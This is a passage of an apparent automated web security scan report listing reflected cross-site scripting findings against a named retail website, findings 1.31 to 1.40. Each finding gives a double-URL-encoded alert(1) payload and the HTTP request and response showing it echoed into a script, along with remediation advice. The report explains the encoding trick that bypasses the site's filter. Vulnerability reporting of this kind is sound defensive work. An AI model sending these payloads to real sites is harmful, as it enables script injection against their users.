GET /Portals/1df92c%2522%253balert%25281%2529%252f%252fc637b4220a8/Skins/Main/js/jquery.qtip-1.0.0-rc3.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:16 GMT
Content-Length: 66840

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1df92c";alert(1)//c637b4220a8/Skins/Main/js/jquery.qtip-1.0.0-rc3.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip="
...[SNIP]...

1.31. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6dfd4%2522%253balert%25281%2529%252f%252f9ff44154a8 was submitted in the REST URL parameter 3. This input was echoed as 6dfd4";alert(1)//9ff44154a8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins6dfd4%2522%253balert%25281%2529%252f%252f9ff44154a8/Main/js/jquery.qtip-1.0.0-rc3.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:25 GMT
Content-Length: 66836

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins6dfd4";alert(1)//9ff44154a8/Main/js/jquery.qtip-1.0.0-rc3.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.e
...[SNIP]...

1.32. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c42a%2522%253balert%25281%2529%252f%252f81d5270967f was submitted in the REST URL parameter 4. This input was echoed as 3c42a";alert(1)//81d5270967f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main3c42a%2522%253balert%25281%2529%252f%252f81d5270967f/js/jquery.qtip-1.0.0-rc3.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:35 GMT
Content-Length: 66841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main3c42a";alert(1)//81d5270967f/js/jquery.qtip-1.0.0-rc3.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1=
...[SNIP]...

1.33. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbe6c%2522%253balert%25281%2529%252f%252fb68d71f599a was submitted in the REST URL parameter 5. This input was echoed as dbe6c";alert(1)//b68d71f599a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/jsdbe6c%2522%253balert%25281%2529%252f%252fb68d71f599a/jquery.qtip-1.0.0-rc3.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:44 GMT
Content-Length: 66841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/jsdbe6c";alert(1)//b68d71f599a/jquery.qtip-1.0.0-rc3.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Pa
...[SNIP]...

1.34. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b83bc%2522%253balert%25281%2529%252f%252f847f04f9d54 was submitted in the REST URL parameter 6. This input was echoed as b83bc";alert(1)//847f04f9d54 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.jsb83bc%2522%253balert%25281%2529%252f%252f847f04f9d54 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:53 GMT
Content-Length: 66841

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.jsb83bc";alert(1)//847f04f9d54"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.35. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6be50%2522%253balert%25281%2529%252f%252ff264953ccc2 was submitted in the REST URL parameter 1. This input was echoed as 6be50";alert(1)//f264953ccc2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals6be50%2522%253balert%25281%2529%252f%252ff264953ccc2/1/Skins/Main/js/main.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:00 GMT
Content-Length: 66711

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals6be50";alert(1)//f264953ccc2/1/Skins/Main/js/main.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Pag
...[SNIP]...

1.36. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aec72%2522%253balert%25281%2529%252f%252fe636287b250 was submitted in the REST URL parameter 2. This input was echoed as aec72";alert(1)//e636287b250 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1aec72%2522%253balert%25281%2529%252f%252fe636287b250/Skins/Main/js/main.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:08 GMT
Content-Length: 66711

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1aec72";alert(1)//e636287b250/Skins/Main/js/main.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page
...[SNIP]...

1.37. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb6a8%2522%253balert%25281%2529%252f%252f1bbf9499319 was submitted in the REST URL parameter 3. This input was echoed as fb6a8";alert(1)//1bbf9499319 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skinsfb6a8%2522%253balert%25281%2529%252f%252f1bbf9499319/Main/js/main.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:19 GMT
Content-Length: 66712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skinsfb6a8";alert(1)//1bbf9499319/Main/js/main.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Fo
...[SNIP]...

1.38. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5a6c%2522%253balert%25281%2529%252f%252f1e713f9d8ed was submitted in the REST URL parameter 4. This input was echoed as a5a6c";alert(1)//1e713f9d8ed in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Maina5a6c%2522%253balert%25281%2529%252f%252f1e713f9d8ed/js/main.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:28 GMT
Content-Length: 66706

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Maina5a6c";alert(1)//1e713f9d8ed/js/main.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.39. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3f37%2522%253balert%25281%2529%252f%252ff0f97f61b00 was submitted in the REST URL parameter 5. This input was echoed as d3f37";alert(1)//f0f97f61b00 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/jsd3f37%2522%253balert%25281%2529%252f%252ff0f97f61b00/main.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:36 GMT
Content-Length: 66711

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/jsd3f37";alert(1)//f0f97f61b00/main.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.
...[SNIP]...

1.40. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/main.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8a792%2522%253balert%25281%2529%252f%252fa5abc0a59d3 was submitted in the REST URL parameter 6. This input was echoed as 8a792";alert(1)//a5abc0a59d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/main.js8a792%2522%253balert%25281%2529%252f%252fa5abc0a59d3 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
